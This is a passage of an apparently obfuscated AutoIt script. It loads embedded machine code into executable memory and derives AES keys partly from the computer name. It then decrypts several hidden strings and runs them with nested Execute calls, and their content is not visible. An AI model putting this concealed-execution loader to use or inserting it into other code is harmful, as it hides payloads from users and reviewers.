LtrroT+gaAcAPkIK5RwSGhYD49F/Rkg3myHUnsA+Lerc9MjcksAAuLjH49XZlX8KgCy6ygHL7XCAwCGxXua0zcIpX8wDofyI7/gsgIDaroA7RaCXIrPHCsAp3m0kvMH8vAATmnioWXa9M0ABgW+1dE0Yh8OxKb+iuAuU52i8x5VoAWA4TKk9ut1AAuD7DlAYO+qAF5xnwa9bhBRAz4hivmW3ds9n5AFrk3mAL1GkVSNtXHE' $Code&='fV0ABAbUb2BQFf8AGZj7JNa96ZcAiUBDzGfZnncfsOhCnwdAi4jnGVs4AHnI7tuhfApH5kICD+n4hB7JEAmAA4aDMivtSPARcKwAbFpyTv0O//sAD4U4Vj2u1R4HNi05JwrQ2WRoXACmIZtbVNEkNgAuOgwKZ7GTVwDnD7TultIbmwCRnoDAxU9h3AAgolp3S2kcEgAaFuKTugrAoAMq5Twi4EP4GxcdAA4JDQvyi8etAC22qLkUHqnIAFfxGYWvdQdMAO6Z3bujf2D9APcBJp9ccvW8AERmO8Vb+340AItDKXbLI8bcALbt/Gi45PFjPdcxncpCgIUQE5ciQA+ExhEgQEokfdK7Bz34rvky0McpoW0AHZ4vS9yyMPMADYZS7HfB49AAK7MWbKlwuZkAEZRI+kfpZCIAqPyMxKDwPxoPVn0s2KAzkO+HSQBOx9k40cGMygCi/pjUCzam9QCBz6V63ijatwCOJj+tv6QsOgCd5FB4kg1qXwDMm1R+RmL2jQATwpDYuOguOZjCAILDr/WfXYC+AGnQk3xv1S2pAM8lErPIrJk7ABAYfafonGNuetsDu3vNJngJyFkY9APsmrcBg0+oqOaV/GU7qv8AfiG8zwjvFX/oALrnm9lKbzbOAOqfCdQpsHzWATGksq8qPyPcxqUAlDA1ombAdE4AvDf8gsqm4JAA0LAzp9gV8QQAmEpB7Nr3f80AUA4XkfYvdk0H1o1D77BjzKrIVOSWAATfntG140xqAIgbwSwfuEZlAFF/nV7qBAGMADVd+od0c/sLAEEus2cdWpLbANJS6RBWM23WAEcTmtdhjDehAQx6WfgUjuv4PIkAzqkn7rdhyTUA4Rzl7XpHsTwAnNLfWVXycz8OGBTOecDHN79T9wDN6l/9qlvfPQBvFHhE24bKrwDzgbloxD44JAA0LMKjQF8WHQDDcrziJQwoPABJi/8NlUE5qB8BcQiAs97YtOScAGRWwZB7y4RhFtUytgA3bFx00LgXV0JQSAF' & _ 'TkcMilkTL8Yu0SJORVSL2RJElifwXGJGAIo9ESWeJmBLhJAJIEpGjIsZE55WJ6xLaJC1I05EpIkREaniJaxLdJLZIF5FmIrREGIKJYBJFJOBIhJEcIpREWBmJhxK3JCNI4pFXIipEBwOJmhKlJPJIspG6IlxEK5KJ8BKhJM1I1ZEfIopEnaCJMhJ1JDlIqpEGIlFE+T2JrhJGJLVeYkRv/4kkEpckzEh3vUSIiTgS2yRHSOmRyXCJgxJIJKxITpH7Ilb/EickZEghkdEiOkSxD4nSEp4kT0iikWkiFkQK5YlDEh0kC0itkbkiyESFTIm7Ev0kn0i8kcUiNER23IloEmMkykgQkUAiIER9+IvMSG2RSyLzROzQiWwSmST6SCKRxCIaRNjviccSwST+SDaRzyIoRCakieQSDSSbSGKRwiLoRF71ib4SfCSpSLOROyKnRG57iQkS9CQBSKiRZSJ+RQjuJNlIzpHUItZFr84kMEjAkTcipkSwFYlKEvckDkgvkY1yiVQS3yTjSBuRuCJ/RARdiXMSLiRaSFKRMyITRIx6iY4SiSTuSDWR7X2JWRI/JHlIv5HqIlv9EoYkgUg+kSwiX0RyDImLEkEkcUjekZwikERhcIl0EkIkp0hlkaQiXkRrRYlYEgMusSJt4xJMJNdIy5FEIqNEWhuJDhLAJHVI8JGXIvlEX5yJehJZJINIIZFpIshEiXmJPhJxJE9IrZGsIjpESjGJMxJ/JHdIrpGgIitEaP2JbBL4JNNIApGPeokoEsIke0gIkYd3iWoSgiQcSLSR8iLiRPS+iWIS/iRTSFWR4SLrROzviZ8SECSKXuJFBfokjUhdkdQiFUT76YlDEp4kQkiLkVsi7kQKD4keFwiRhiLtRHByif8SOCTVSDmR2SKmRFQuiWcS5ySWSJGRxSIgREsaiboSKiTgSBeRDSLHRKipiRkSByTdSGCRJiL1RDt+iSkSxiT8SPG9xIWJIhIRJCRIPZEyIqFELzCJUhLjJBZIuZFIImREjD+JLBKQJE5I' $Code&='0ZGiIgtEgd6JjhK/JJ1IkpHMIkZEE7iJ9xKvJIBIk5EtIhJEmX2JYxK7JHhfYkW3xi9RconPEugkm0g2kQkifESyI4mUEmYkvEjKkdAi2ESY2olQEvYk1kiwusQEibUSiCQfSFGR6iI1RHRBiR0S0iRWSEeRYSIMRBQ8iScSySTlSLGR3yJzRM43ic0SqiRvSNuR8yLERDRAicMSJSRJSJWRASKzROTBiYQStiRcSFeR9CJBRBcniasSnST6SOORMCJ2RMwCieUSKiQ1SGKRsSK6ROr+iS8STCRGSNORjyKSRG1Sib4SdCTgSMmRwnWJWBK5JOFIiJEgIs5E3xqJURJTJGRIa5GBIghESEWJ3hJ7JHNIS5EfIlVE67WJxRI3L/Eiv0QDFonPEnkkB0hpkdoiBUQ0pokuEvMvUSL2RINgiXESbiQhSN26xOaJVBLEJAZIUJGYIr1EQNmJ6BeYkRkiyER8QomEFwiRgCIrRBFaiQ4ShSSuSC28xFyJWxfYvsRXie4SmyTASNyRdyISRJOgiSISGyQJSIuRtiIeRPF1iZkSfyQBSHKRZiL7REMjie0S5CQxXaJEl8aJShK7JPlIKZGeIrJEhsGJsxJwJJRI6ZH8IvBEfTOJSRI4JMpI1JH1InpEt62JOhJ4JF9IfpGNIthEOcOJXRLQJNVIJZGsIhhFnOokJkhZkZoiT0SV/4m8EhUk50hvkZ8isESkP4mlEqIkTkiCkZAip0QE7InNEpEkTUjvkaoilkTRaoksEmUkXkiMkYciC0Rn24kQEtYk10ihkfh+iakSYSQcSEeR0iLyRBTHifcS/SQ9SESRryJoRCSjiR0S4iQ8SA2RqH6JtBJWJMtIMpFsIriXFRETY+bjJ3fMp07y2DdvnTGjMDtiU2deh8T+/RuJq/N7E8r2FyfJ7HBO+phHR52xS60+YmOidqfEnPlviXLTsxO35lMlk+zPTjbY3/efMY80P2Kr5XZHxHH5T4kx83cTBKbLJyPsM04Y2LM' & _ 'FnbEbBzpi34B2q8Tr6eOJstunEwmmcycsbKNOG9i3Wp0xu1Ic1p8xlylqYg8vfN/EU/1rnCfsF04g2LOxn7GXampiB77UQ8RK/e+JWPNzE9C2Jy2qTG9OQ9gnM58xX0UcAp2xg1A7YiefdtPFUam7iUD7HxOS9nsnOGxjT7zYy9qdsRcQamK783xHxM3tK4kT2fPFl6nLixdTzxOntnstPUxDT12YB3OfMR+BP2JX3H4jxCr994uIUxcT7vbXLRRsG1pemOvbnzEbMj9ipwrUw8UGqd+LXFsrE9P2gydi7MtalZgzeZ+xj8g/Yn9t1HvF1a07i6lTvxNW9gst6kzbT3qYhwifMU94a2IrLn6/xaapA4nG+9MT3fb/Jx/sg1q92GOKtbEbPj9iE2bWJ8UDrW+JDvPDFjW2Gy25bH9awZgHnp8xv/hrYo8RfMvF2blTi5RzbxYe5mst6UyjW1WYB9+1sU+hamJLDdzPxea5R4toU/MTmfanJw/sc09U2G8Wis0BVVUlxRFDxmOIpfh84oQ47neOmfZ7I43/8ogN1mvivTjeb46xkcUjVGAwiFACAeIDOM5njqlWKyN95/6IGbXX4mI4TauO5ux2I5qPyohFH4LinTiJyY5A+n0nh+9ewxWyWYjrjkfiyTj78I4LQa0j7LPUiGdfouL9OEWvjuojnCO/U6SI9+Ry4pY4m8COW3W3I8Lh/YgcPZPirjhMJo5qbDYjWn4/iEH19+ICOIPMjk9oNCNcUaWI9NHl4+j58eIIOOJxjpOr2CNzYjGIUyoV4j84CASODJXHI1JGI4hlncPiXjgwGI4oN5YjoQoFiA8vmuK1OA4HjgkkEiM2G4CIm9/i4j04zeuOJk4nI2l/so+z6nWInxIJ4hs4HYOOnlgsI3Q0Gosuf1IcLdxuR7K0WhHuW6DE+6RxUhz2djtHTbfWEWF9s8XO/SnEe91x4xw+Xi9HcROEEZemU8T1uXHRkXko5nHtHCxAIEdg4/wRH3mxxMi2cVsc7dRqR76NyxNGZ7dx' $Code&='2XI5xEuUcUoc3phMR9SwWBHohc/H8bvQxGvFce8cKk+qR+Xt+xEWhkPH+ZpNxNdmcTMcVRGFR5SKRRHP6fnEEARxAhwG/n9HgaBQEfB4PMREJXGfHLpLqEfjolER812jxP6AcUAcwAWPR4o/khGtIZ3EvHBxOBxI8fVPBGNex993thHBr9rEdUJxIf4gcRAcMOX/Rxr98xEOv9LEbYFxzRxMGAxHFCYTETXD7MQvvnFfeeFxlxyiiERHzC4XETmTxMRXVXGnHPL8fkeCej0RR8hkxKy6cV0c5zIZRyvmcxGVwGDFoO2BxJiecU8c0aPcR39EIhFmVCrEfjtxkByrC4hHg4xGEcrH7sQpa3G4HNMoFEc8p94RebxexOIWcQscHa3bXHbc4Ec7ZDIRVnQ6xE4UcQocHpJJR9sMBh9HSCQRbLhcxOSfccIcXb3TR25DrBHvxGLEpjlxkRyoMZVHpNPkETfyecSL1VHni9XIxENu/fxZ2nFtHLcBjUeMsdURZJxOxNJJcakc4NhsR7SsVhH68/TEB89x6hwlymVer9x6Zp8crkfpEAgRGG+6xdUhUcSISnEl9lxxLhxyOBxHJFemEfFztMTHl3HGHFHL6Ecjod0XfHd0EZw+H8QhlnFL/GFxvRzcDYtHhg+KEYXgcMSQfHE+HEJxtUfEzGYXqtdIEdgGA8QF93H2HAEcDkcSwmERo2o1xF+ucVcc+Wm5R9AXhhGRmcHEWDpxHZiGcZ4cudnhRzjr+BETK5jEsyJxERwz0mlHu6nZEXAHjsWJ9ZTEpy1xmxy2PB5HIhWHEZLJ6cUg3c7ESapxVRz/UChHeKXfEXoDjMSPWXGhHPgJiUeAGg0RF2W/xNrXceYcMYRCR8bQaBG4gkHEwylxmRywWi1Hdx4PExF717HLqFTE/G1xuxzWLBZLOqWkAYRImZGNIg1EvbGJVBJQJANIqZF9IhlEYuaJmhJFJJ1IQJGHIhVF6/okC0jskWci/UTqv4n3EpYkW0jCkRw' & _ 'irkRqWolBEgIkT0hckfR2iQgSkyRzSFORPyIMRFJliV4SKCShSA+RtSIJRDabiT0SJiRpXeJEnxuJnhJ0JC5ILZGyIu5E+/aJTRJhJM5Ie5E+InFEl/WJaBcIkSwiYEQfyIv0SL6RRiLZREveidQS6C9RImtEKuWJFhe4kdciVUSUz4kQEgYkgUjwkUQiukTj84n+EsAkikitkbwiSEQE34nBEnUvcSIwRBoOiW0STCQUSDWRLyLhRKLMiTkSVyTySIKRRyKsROcriZUSoCSYSNGRfyJmRH6riYMSyiQpSNORPCJ5ROIdiXYSOyRWSE6RHn+LtEhskeQiXURu74mmEqgkpEg3kYsiMkRDWYm3EowkZEjSkeAitET6B4klEq8kjkjpkRgi1UWI3iRySCSR8SLHRFEjiXwSnCQhXqJE3IaJhRKQJEJIxJGqIthEBQGJEhKjJF9I+ZHQIpFEWCeL9Eg4kRMis0Qzu4lwEokkp0i2kSIikkQgSYn/EngkekiPkfgigEQX2okxEsYkuEjDkbAid0QRy4n8EtYkOkhjkXwid0R78olrEm8kxUgwkQEiZ0Qr/onXEqskdkjKkYIiyUV9yiRZSEeR8CKtRNSiia8SnCSkSHKRwCK3RP2TiSYSNiQ/SPeRzCI0RKXlifEScSTYSDGRFSIERMcjicMSGCSWSAWRmiIHRBKAieIS6yQnSLKRdSIJRIMsiRoX+JFuIlpEoFKJOxLWJLNIKZHjIi9EhFOJ0RcIke0iIET8sYlbEmoky13iRDlKiUwSWCTPSNCR7yKqRPtDiU0SMySFSEWR+SICRH9QiTwSnySoSFGRoyJARI+SiZ0SOCT1XuJEttqJIRIQJP9I85HSIs1EDBOJ7BJfJJdIRJEXIsREp36JPRJkJF1IGZFzImBEgU+J3BIiJCpIkJGIIkZE7riJFBLeJF5IC5HbIuBEMjqJChJJJAZIJJFcIsJE06yJYhKRJJVI5JF5IudFyP4kbUiNkdUiTkSpbIlWEvQk6khlkXoirkQIuol4' $Code&='EiUkLkgckaYitETG6IndEnQkH0hLkb0ii0SKcIk+ErUkZkhIkQMi9kQOYYk1ElckuUiGkcEiHUSe4Yn4EpgkEUhpkdkijkSUm4keEock6UjOkVUiKETfjImhEokkDUi/keYiQkRoQYmZEi0kD17iRFS7iRYSYyR8SHeReyLyRGtvicUSMCQBSGeRKyL+RNeriXYSyiSCSMmRfXGJWRJHJPBIrZHUIqJEr5yJpBJyJMBIt5H9IpNEJjaJPxL3JMxINJGlIuVE8XGJ2BIxJBVIBJHHIiNEwxiJlhIFJJpIB5ESIoBE4uuJJxKyJHVICZGDIixFGvokbkhakaAiUkQ71omzEikk40gvkYQiU0XRYwBZASIgRPyxiVsSaiTLXaJEOUqJTBJYJM9I0JHvIqpE+0OJTRIzJIVIRZH5IgJEf1CJPBKfJKhIUZGjIkBEj5KJnRI4JPVeokS22okhEhAk/0jzkdIizUQME4nsEl8kl0hEkRcixESnfok9EmQkXUgZkXMiYESBT4ncEiIkKkiQkYgiRkTuuIkUEt4kXkgLkdsi4EQyOokKEkkkBkgkkVwiwkTTrIliEpEklUjkkXki50XI+iRtSI2R1SJORKlsiVYS9CTqSGWReiKuRAi6iXgSJSQuSByRpiK0RMboid0SdCQfSEuRvSKLRIpwiT4StSRmSEiRAyL2RA5hiTUSVyS5SIaRwSIdRJ7hifgSmCQRSGmR2SKORJSbiR4ShyTpSM6RVSIoRN+MiaESiSQNSL+R5iJCRGhBiZkSLSQPXqJEVLuJFhBew1KXmBHRWovVvCCqqtZLB0A54wJnTyYIJ+Qg3FeAsxecNisBUFjDwAA=' Local $Opcode=String(_AES_CodeDecompress($Code)) $_AES_EncryptOffset=(StringInStr($Opcode,"87DB")- 3 )/ 2 $_AES_DecryptOffset=(StringInStr($Opcode,"87C9")- 3 )/ 2 $_AES_EncryptKeyOffset=(StringInStr($Opcode,"87D2")- 3 )/ 2 $_AES_DecryptKeyOffset=(StringInStr($Opcode,"87F6")- 3 )/ 2 $_AES_EncryptECBOffset=(StringInStr($Opcode,"09C0")- 3 )/ 2 $_AES_DecryptECBOffset=(StringInStr($Opcode,"09DB")- 3 )/ 2 $_AES_EncryptCBCOffset=(StringInStr($Opcode,"09C9")- 3 )/ 2 $_AES_DecryptCBCOffset=(StringInStr($Opcode,"09D2")- 3 )/ 2 $_AES_EncryptCFBOffset=(StringInStr($Opcode,"09F6")- 3 )/ 2 $_AES_DecryptCFBOffset=(StringInStr($Opcode,"09FF")- 3 )/ 2 $_AES_CryptOFBOffset=(StringInStr($Opcode,"09E4")- 3 )/ 2 $_AES_ModeResetOffset=(StringInStr($Opcode,"09ED")- 3 )/ 2 $Opcode=Binary($Opcode) $_AES_CodeBufferMemory=_MemVirtualAlloc( 0 ,BinaryLen($Opcode),$MEM_COMMIT,$PAGE_EXECUTE_READWRITE) $_AES_CodeBuffer=DllStructCreate("byte["&BinaryLen($Opcode)&"]",$_AES_CodeBufferMemory) DllStructSetData($_AES_CodeBuffer, 1 ,$Opcode) OnAutoItExitRegister("_AES_Exit") EndFunc Func _AesPrepareKey($Key) $Key=Binary($Key) Switch BinaryLen($Key) Case 0 To 16 Local $KeyLen= 16 Case 17 To 24 Local $KeyLen= 24 Case Else Local $KeyLen= 32 EndSwitch Local $KeyBuffer=DllStructCreate("byte["&$KeyLen&"]") DllStructSetData($KeyBuffer, 1 ,$Key) Return DllStructGetData($KeyBuffer, 1 ) EndFunc Func _AesEncryptKey($Key) If Not IsDllStruct($_AES_CodeBuffer) Then _AES_Startup() $Key=_AesPrepareKey($Key) Local $AesCtx=DllStructCreate("byte[244]") Local $AesKey=DllStructCreate("byte["&BinaryLen($Key)&"]") DllStructSetData($AesKey, 1 ,$Key) DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_EncryptKeyOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($AesKey),"uint",BinaryLen($Key)* 8 ,"int", 0 ) Return $AesCtx EndFunc Func _AesDecryptKey($Key) If Not IsDllStruct($_AES_CodeBuffer) Then _AES_Startup() $Key=_AesPrepareKey($Key) Local $AesCtx=DllStructCreate("byte[244]") Local $AesKey=DllStructCreate("byte["&BinaryLen($Key)&"]") DllStructSetData($AesKey, 1 ,$Key) DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_DecryptKeyOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($AesKey),"uint",BinaryLen($Key)* 8 ,"int", 0 ) Return $AesCtx EndFunc Func _AesDecryptCBC(ByRef $AesCtx, ByRef $IV,$Data) If Not IsDllStruct($_AES_CodeBuffer) Then _AES_Startup() If Not IsDllStruct($AesCtx) Then Return SetError( 1 , 0 ,Binary("")) $Data=Binary($Data) Local $DataLen=Ceiling(BinaryLen($Data)/ 16 )* 16 If $DataLen= 0 Then Return SetError( 1 , 0 ,Binary("")) Local $DataBuffer=DllStructCreate("byte["&$DataLen&"]") DllStructSetData($DataBuffer, 1 ,$Data) Local $IVBuffer=DllStructCreate("byte[16]") DllStructSetData($IVBuffer, 1 ,$IV) DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_DecryptCBCOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($DataBuffer),"uint",$DataLen,"ptr",DllStructGetPtr($IVBuffer)) $IV=DllStructGetData($IVBuffer, 1 ) Return DllStructGetData($DataBuffer, 1 ) EndFunc Func _AesDecryptCFB(ByRef $AesCtx, ByRef $IV,$Data) If Not IsDllStruct($_AES_CodeBuffer) Then _AES_Startup() If Not IsDllStruct($AesCtx) Then Return SetError( 1 , 0 ,Binary("")) Local $DataLen=BinaryLen($Data) If $DataLen= 0 Then Return SetError( 1 , 0 ,Binary("")) Local $DataBuffer=DllStructCreate("byte["&$DataLen&"]") DllStructSetData($DataBuffer, 1 ,$Data) Local $IVBuffer=DllStructCreate("byte[16]") DllStructSetData($IVBuffer, 1 ,$IV) DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_DecryptCFBOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($DataBuffer),"uint",$DataLen,"ptr",DllStructGetPtr($IVBuffer)) $IV=DllStructGetData($IVBuffer, 1 ) Return DllStructGetData($DataBuffer, 1 ) EndFunc Func _AesCryptOFB(ByRef $AesCtx, ByRef $IV,$Data) If Not IsDllStruct($_AES_CodeBuffer) Then _AES_Startup() If Not IsDllStruct($AesCtx) Then Return SetError( 1 , 0 ,Binary("")) Local $DataLen=BinaryLen($Data) If $DataLen= 0 Then Return SetError( 1 , 0 ,Binary("")) Local $DataBuffer=DllStructCreate("byte["&$DataLen&"]") DllStructSetData($DataBuffer, 1 ,$Data) Local $IVBuffer=DllStructCreate("byte[16]") DllStructSetData($IVBuffer, 1 ,$IV) DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_CryptOFBOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($DataBuffer),"uint",$DataLen,"ptr",DllStructGetPtr($IVBuffer)) $IV=DllStructGetData($IVBuffer, 1 ) Return DllStructGetData($DataBuffer, 1 ) EndFunc Func _AesDecryptCBC_Pad(ByRef $AesCtx, ByRef $IV,$Data) $Data=_AesDecryptCBC($AesCtx,$IV,$Data) Local $DataLen=BinaryLen($Data) For $i=$DataLen To $DataLen- 16 Step -1 If BinaryMid($Data,$i, 1 )=Binary("0x80") Then Return BinaryMid($Data, 1 ,$i- 1 ) EndIf Next Return $Data EndFunc Func _AesDecrypt($Key,$Data,$Mode=$AES_CBC_MODE) $Data=Binary($Data) If BinaryLen($Data)<= 16 Then Return SetError( 1 , 0 ,Binary("")) Local $IV=BinaryMid($Data, 1 , 16 ),$AesCtx,$Ret $Data=BinaryMid($Data, 17 ) Switch String($Mode) Case "CFB",$AES_CFB_MODE $AesCtx=_AesEncryptKey($Key) $Ret=_AesDecryptCFB($AesCtx,$IV,$Data) Case "OFB",$AES_OFB_MODE $AesCtx=_AesEncryptKey($Key) $Ret=_AesCryptOFB($AesCtx,$IV,$Data) Case Else $AesCtx=_AesDecryptKey($Key) $Ret=_AesDecryptCBC_Pad($AesCtx,$IV,$Data) EndSwitch If BinaryLen($Ret)= 0 Then Return SetError( 1 , 0 ,Binary("")) Return BinaryToString($Ret,$SB_UTF8) EndFunc Func _AES_CodeDecompress($Code) If @AutoItX64 Then Return False Local $Opcode='0x89C0608B7424248B7C2428FCB28031DBA4B302E86D00000073F631C9E864000000731C31C0E85B0000007323B30241B010E84F00000010C073F7753FAAEBD4E84D00000029D97510E842000000EB28ACD1E8744D11C9EB1C9148C1E008ACE82C0000003D007D0000730A80FC05730683F87F770241419589E8B3015689FE29C6F3A45EEB8E00D275058A164610D2C331C941E8EEFFFFFF11C9E8E7FFFFFF72F2C32B7C2428897C241C61C389D28B442404C70000000000C6400400C2100089F65557565383EC1C8B6C243C8B5424388B5C24308B7424340FB6450488028B550083FA010F84A1000000733F8B5424388D34338954240C39F30F848B0100000FB63B83C301E8CD0100008D57D580FA5077E50FBED20FB6041084C00FBED078D78B44240CC1E2028810EB6B83FA020F841201000031C083FA03740A83C41C5B5E5F5DC210008B4C24388D3433894C240C39F30F84CD0000000FB63B83C301E8740100008D57D580FA5077E50FBED20FB6041084C078DA8B54240C83E03F080283C2018954240CE96CFFFFFF8B4424388D34338944240C39F30F84D00000000FB63B83C301E82E0100008D57D580FA5077E50FBED20FB6141084D20FBEC278D78B4C240C89C283E230C1FA04C1E004081189CF83C70188410139F374750FB60383C3018844240CE8EC0000000FB654240C83EA2B80FA5077E00FBED20FB6141084D20FBEC278D289C283E23CC1FA02C1E006081739F38D57018954240C8847010F8533FFFFFFC74500030000008B4C240C0FB60188450489C82B44243883C41C5B5E5F5DC210008D34338B7C243839F3758BC74500020000000FB60788450489F82B44243883C41C5B5E5F5DC210008B54240CC74500010000000FB60288450489D02B442438E9B1FEFFFFC7450000000000EB9956578B7C240C8B7424108B4C241485C9742FFC83F9087227F7C7010000007402A449F7C702000000740566A583E90289CAC1E902F3A589D183E103F3A4EB02F3A45F5EC3E8500000003EFFFFFF3F3435363738393A3B3C3DFFFFFFFEFFFFFF000102030405060708090A0B0C0D0E0F10111213141516171819FFFFFFFFFFFF1A1B1C1D1E1F202122232425262728292A2B2C2D2E2F3031323358C3' Local $AP_Decompress=(StringInStr($Opcode,"89C0")- 3 )/ 2 Local $B64D_Init=(StringInStr($Opcode,"89D2")- 3 )/ 2 Local $B64D_DecodeData=(StringInStr($Opcode,"89F6")- 3 )/ 2 $Opcode=Binary($Opcode) Local $CodeBufferMemory=_MemVirtualAlloc( 0 ,BinaryLen($Opcode),$MEM_COMMIT,$PAGE_EXECUTE_READWRITE) Local $CodeBuffer=DllStructCreate("byte["&BinaryLen($Opcode)&"]",$CodeBufferMemory) DllStructSetData($CodeBuffer, 1 ,$Opcode) Local $B64D_State=DllStructCreate("byte[16]") Local $Length=StringLen($Code) Local $Output=DllStructCreate("byte["&$Length&"]") DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($CodeBuffer)+$B64D_Init,"ptr",DllStructGetPtr($B64D_State),"int", 0 ,"int", 0 ,"int", 0 ) DllCall("user32.dll","int","CallWindowProc","ptr",DllStructGetPtr($CodeBuffer)+$B64D_DecodeData,"str",$Code,"uint",$Length,"ptr",DllStructGetPtr($Output),"ptr",DllStructGetPtr($B64D_State)) Local $ResultLen=DllStructGetData(DllStructCreate("uint",DllStructGetPtr($Output)), 1 ) Local $Result=DllStructCreate("byte["&($ResultLen+ 16 )&"]") Local $Ret=DllCall("user32.dll","uint","CallWindowProc","ptr",DllStructGetPtr($CodeBuffer)+$AP_Decompress,"ptr",DllStructGetPtr($Output)+ 4 ,"ptr",DllStructGetPtr($Result),"int", 0 ,"int", 0 ) _MemVirtualFree($CodeBufferMemory, 0 ,$MEM_RELEASE) Return BinaryMid(DllStructGetData($Result, 1 ), 1 ,$Ret[ 0 ]) EndFunc Func _VarIsVar(ByRef $a, ByRef $b) $a=$b EndFunc Func _ArrayVarIsVar(ByRef $a,$b, ByRef $c) $a[$b]=$c EndFunc Func _VarIsArrayVar(ByRef $a, ByRef $b,$c) $a=$b[$c] EndFunc Func _ArrayVarIsArrayVar(ByRef $a,$b, ByRef $c,$d) $a[$b]=$c[$d] EndFunc Func _VarIsNumber(ByRef $a,$number) $a=Number($number) EndFunc Func _ArrayVarIsNumber(ByRef $a,$b,$number) $a[$b]=Number($number) EndFunc Global $dummypwd = "" Global $CCkeytype = 2 Global $CCkey[100] Global $CCkeyhandle[100] For $cc= 0 To UBound($CCkey)- 1 $CCkey[$cc]= Null $CCkeyhandle[$cc]= Null Next $CCkey[0]="0x3CA86772DB0B25CBD8AC911792C2217A9DD04C218DAE0F4261BD76EF512838FBDE2BDA417829E56D62EDE396B376E2CC" $CCkey[1]=$dummypwd $CCkey[2]=@ComputerName Global $hAlgorithmProvider = -1 Global $sAlgorithmId = $CNG_BCRYPT_AES_ALGORITHM Global $sProvider = "Microsoft Primitive Provider" _CryptoNGinit4CC() Func _CryptoNGinit4CC() __CryptoNG_Startup() If @error Then MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Unable to access bcrypt.dll"&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 1 EndIf $hAlgorithmProvider=__CryptoNG_BCryptOpenEncryptionAlgorithmProvider($sAlgorithmId,$sProvider) If @error Then MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Invalid Algorithm Provider"&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 2 EndIf If $sAlgorithmId<>$CNG_BCRYPT_RC4_ALGORITHM Then __CryptoNG_BCryptSetProperty($hAlgorithmProvider,$CNG_BCRYPT_CHAINING_MODE,$CNG_BCRYPT_CHAIN_MODE_CBC) If @error Then If $hAlgorithmProvider<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($hAlgorithmProvider) MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Invalid block chaining mode"&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 5 EndIf EndIf $CCkeyhandle[ 0 ]=_CryptoNGgetHandle() OnAutoItExitRegister("_CryptoNGcleanup") EndFunc Func _CryptoNGcleanup() For $cc= 0 To UBound($CCkeyhandle)- 1 If IsPtr($CCkeyhandle[$cc]) Then __CryptoNG_BcryptDestroyKey($CCkeyhandle[$cc]) Next $CCkey= Null $CCkeyhandle= Null If $hAlgorithmProvider<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($hAlgorithmProvider) __CryptoNG_Shutdown() EndFunc Func _CryptoNGgetHandle($keyID= 0) Local $temp=_CryptoNG_PBKDF2($CCkey[$keyID],$CCkey[$keyID], 123 ,$CNG_KEY_BIT_LENGTH_AES_192,$CNG_BCRYPT_SHA1_ALGORITHM) If @error Then MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Invalid PBKDF2 call; CNG error = "&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 1 EndIf $temp=__CryptoNG_BCryptGenerateSymmetricKey($hAlgorithmProvider,$temp) If @error Then MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Invalid keyhandle; CNG error = "&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 4 EndIf Return $temp EndFunc Func _MCFCNG(Const $hexstring,$index= 0) Return __CryptoNG_BCryptDecrypt($sAlgorithmId,$hexstring,$CCkeyhandle[$index]) EndFunc Func _MCFCC(Const $hexstring,$index= 0) Return _AesDecrypt($CCkey[$index],$hexstring) EndFunc Execute(Execute(_MCFCNG('0xB240382053AF7943C04124B04A487E5962010D14BE78110AB26C193DD8140BEA8EEBFF5B08DF3320B4AC6FA54F60131B328CF45F53AC7152D05623B1901C817F192B5E44336F22A3041D7472BCD49EF6'))) Func _dummyCalls() Execute(Execute(_MCFCNG('0xE70E89DBE5F6F3F7F330C103912F047AF3CD0B4329D762E6459BF5444F2FA17D549219F3B0D5F4D427A6E976866FA4EFAE70EB3ED440853DA43DC4B5375BFABB991650C1D6148746EFEFD5BB3A4C55F3'))) Execute(Execute(_MCFCNG('0x0893D3A58C4ADB1E620BAE154FBB09F2A20C28A450D65C5CFA66CC84953024660AE1692C0F1418E0E3E670D847D9649C'))) Execute(Execute(_MCFCNG('0x3C1CB068005894EF4A1A5A81EA5EC7E14843F3718BC6B5C41580F12378958995284B4469C2C55D62ADDCF19617B5F6846F7B0DEED40F224CE279FBE44281834F71E245B5A41547301B1602ABBA11D2BB'))) Local $a= 0,$b= 1,$c[1] Execute(Execute(_MCFCNG('0x8D6B638D9014FA5E48677745212A7E7F00D980849B05C9F39B05FDEED7FC54735ED44A2AA997F04577AEF2EEC58F3B10C5F390CD8E845EDDD749BE34EA5E3DC1BE73B036279766115F86851C6E8E8071'))) Execute(Execute(_MCFCNG('0xBD10FF22A6D96A2074EF8D7BA8ADD53E32D7174BE98B9674257B48BF0A4DB4AE90A405382B7A0A6EC2D95A6F7C2749B26E05AE371C02D2BA1F791F34BE0B0F9513E6F2C5651B9B96E1C36E0A0CB7FCB1'))) Execute(Execute(_MCFCNG('0x6B2BDEB658E46468625A7EE9E51518B068F313717DE8E2EC5BFAD4E2AAD92E03D0D8901D996CC634A7BF3E8312F983EDD0B3A5B647AE561A7A8ABEA1C59A3BB6552655E3779A8FD6FA8A381A8DFCA83D'))) 